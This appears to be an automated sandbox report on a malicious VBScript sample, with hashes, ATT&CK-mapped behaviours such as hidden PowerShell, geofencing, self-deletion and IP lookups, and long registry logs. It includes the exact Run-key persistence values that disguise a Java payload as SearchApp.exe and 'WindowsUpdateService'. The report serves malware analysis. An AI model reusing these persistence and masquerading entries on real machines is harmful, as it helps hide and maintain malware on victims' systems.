89ad58a61c6a774c0b66e5fba4a0e7fb83018ed3c27d7d82b910c19f55b41975

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/07/2026, 10:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Doc6754321-86137.vbs
Size 2KB
Sample260729-mxv7gsem8s
SHA256 89ad58a61c6a774c0b66e5fba4a0e7fb83018ed3c27d7d82b910c19f55b41975
MD5 71d2ff4525f545124ad088b266f6ebf6
SHA1 70329b4d3a3d8353011408432d6a6c1993a16c3f
SHA512 2ca0c6aedc922ed98a35e82f2f0f9558b120f73cdd9e75afd549ff70376ddef857489233d9ac9872254db05c8ed0e45a3e4e2a670623dbb497bf88f5cae35e89
TLSH
T1C45187BFAF1CC33009923A6742D58C1DA02B4FABACD19880A15FC41E375577646E6C5F
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6012	powershell.exe
2940	powershell.exe
5236	powershell.exe
5416	powershell.exe
1516	powershell.exe
6136	powershell.exe
2940	powershell.exe
5236	powershell.exe
5416	powershell.exe
1516	powershell.exe
6136	powershell.exe
6012	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	SearchApp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	SearchApp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	WScript.exe

Deletes itself 1 IoCs

pid	Process
1540	WScript.exe

Executes dropped EXE 4 IoCs

pid	Process
520	SearchApp.exe
5132	SearchApp.exe
5544	SearchApp.exe
1840	SearchApp.exe

Loads dropped DLL 54 IoCs

pid	Process
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
5132	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\jre\\bin\\SearchApp.exe\" -noverify -Dvanguard.opsec=true --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\Diagnostics\\SearchApp.jar\""	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\jre\\bin\\SearchApp.exe\" --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\Diagnostics\\SearchApp.jar\""	cscript.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	SearchApp.exe
File opened (read-only)	\??\F:	SearchApp.exe

Looks up external IP address via web service 1 TTPs 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
178	checkip.amazonaws.com
179	checkip.amazonaws.com
180	ipapi.co
181	ipapi.co
138	checkip.amazonaws.com
139	checkip.amazonaws.com
140	ipapi.co
141	ipapi.co

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1540	WScript.exe
1348	cscript.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_2079411005\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_80052617\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_207105104\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_207105104\office_endpoints_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_207105104\smart_switch_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_80052617\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_1753360908\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_1753360908\nav_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3620_207105104\llm_user_input_extractor_config.json	msedge.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Prefetch\BACKGROUNDTASKHOST.EXE-145A3777.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-06226CEB.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-4DE02988.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-98C67737.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-C4B5739C.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-D9106866.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\BACKGROUNDTASKHOST.EXE-ACEF2FA2.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-005D3145.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-3ED30A86.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-72C0C855.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-94A02D86.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-98F22970.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-B1A87C0F.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-BC366267.pf	SearchApp.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2808	cmd.exe
3240	cmd.exe
4372	cmd.exe
1268	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
536	msedge.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134297958823546820"	msedge.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "{31350404-77AC-4471-B33A-9020A2EDA1D1}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "È stata selezionata la voce predefinita %1."	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "{2984A9DB-5689-43AD-877D-14999A15DD46}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Pablo"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "SR ja-JP Locale Handler"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "436;41c;401;801;c01;1001;1401;1801;1c01;2001;2401;2801;2c01;3001;3401;3801;3c01;4001;42b;42c;82c;42d;423;402;455;403;c04;1004;1404;41a;405;406;465;413;813;809;c09;1009;1409;1809;1c09;2009;2409;2809;2c09;3009;3409;425;438;429;40b;80c;c0c;100c;140c;180c;456;437;807;c07;1007;1407;408;447;40d;439;40e;40f;421;410;810;44b;457;412;812;440;426;427;827;42f;43e;83e;44e;450;414;814;415;416;816;446;418;419;44f;c1a;81a;41b;424;80a;100a;140a;180a;1c0a;200a;240a;280a;2c0a;300a;340a;380a;3c0a;400a;440a;480a;4c0a;500a;430;441;41d;81d;45a;449;444;44a;41e;41f;422;420;820;443;843;42a;540a"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "SR de-DE Lookup Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\MSTTSLocfrFR.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "{A79020BC-1F7E-4D20-AC2A-51D73012DDD5}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Cosimo - Italian (Italy)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Ichiro - Japanese (Japan)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "- 0001 ! 0002 & 0003 , 0004 . 0005 ? 0006 _ 0007 1 0008 2 0009 aa 000a ae 000b ah 000c ao 000d aw 000e ax 000f ay 0010 b 0011 ch 0012 d 0013 dh 0014 eh 0015 er 0016 ey 0017 f 0018 g 0019 h 001a ih 001b iy 001c jh 001d k 001e l 001f m 0020 n 0021 ng 0022 ow 0023 oy 0024 p 0025 r 0026 s 0027 sh 0028 t 0029 th 002a uh 002b uw 002c v 002d w 002e y 002f z 0030 zh 0031"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Katja"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "5223743"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\es-ES\\M3082Helena"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; telephone=NativeSupported; computer=NativeSupported; address=NativeSupported; currency=NativeSupported; message=NativeSupported; url=NativeSupported; alphanumeric=NativeSupported"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "002D 002D 0021 0021 0026 0026 002C 002C 002E 002E 003F 003F 005F 005F 002B 002B 002A 002A 02C9 02C9 02CA 02CA 02C7 02C7 02CB 02CB 02D9 02D9 3000 3000 3105 3105 3106 3106 3107 3107 3108 3108 3109 3109 310A 310A 310B 310B 310C 310C 310D 310D 310E 310E 310F 310F 3110 3110 3111 3111 3112 3112 3113 3113 3114 3114 3115 3115 3116 3116 3117 3117 3118 3118 3119 3119 3127 3127 3128 3128 3129 3129 311A 311A 311B 311B 311C 311C 311D 311D 311E 311E 311F 311F 3120 3120 3121 3121 3122 3122 3123 3123 3124 3124 3125 3125 3126 3126"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "6;18;22"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Zira - English (United States)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033David"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\c1036.fe"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\tn1036.bin"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Elsa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\ja-JP\\M1041Ichiro"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "40C"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "11.0.2016.0129"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Paul - French (France)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\AI041041"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search\Total = "56"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "English Phone Converter"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "French Phone Converter"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "C0A"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Has seleccionado %1 como voz predeterminada."	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "{179F3D56-1B0B-42B2-A962-59B7EF59FE1B}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Helena"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Spanish Phone Converter"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "16000"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\r1036sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\c1040.fe"	SearchApp.exe
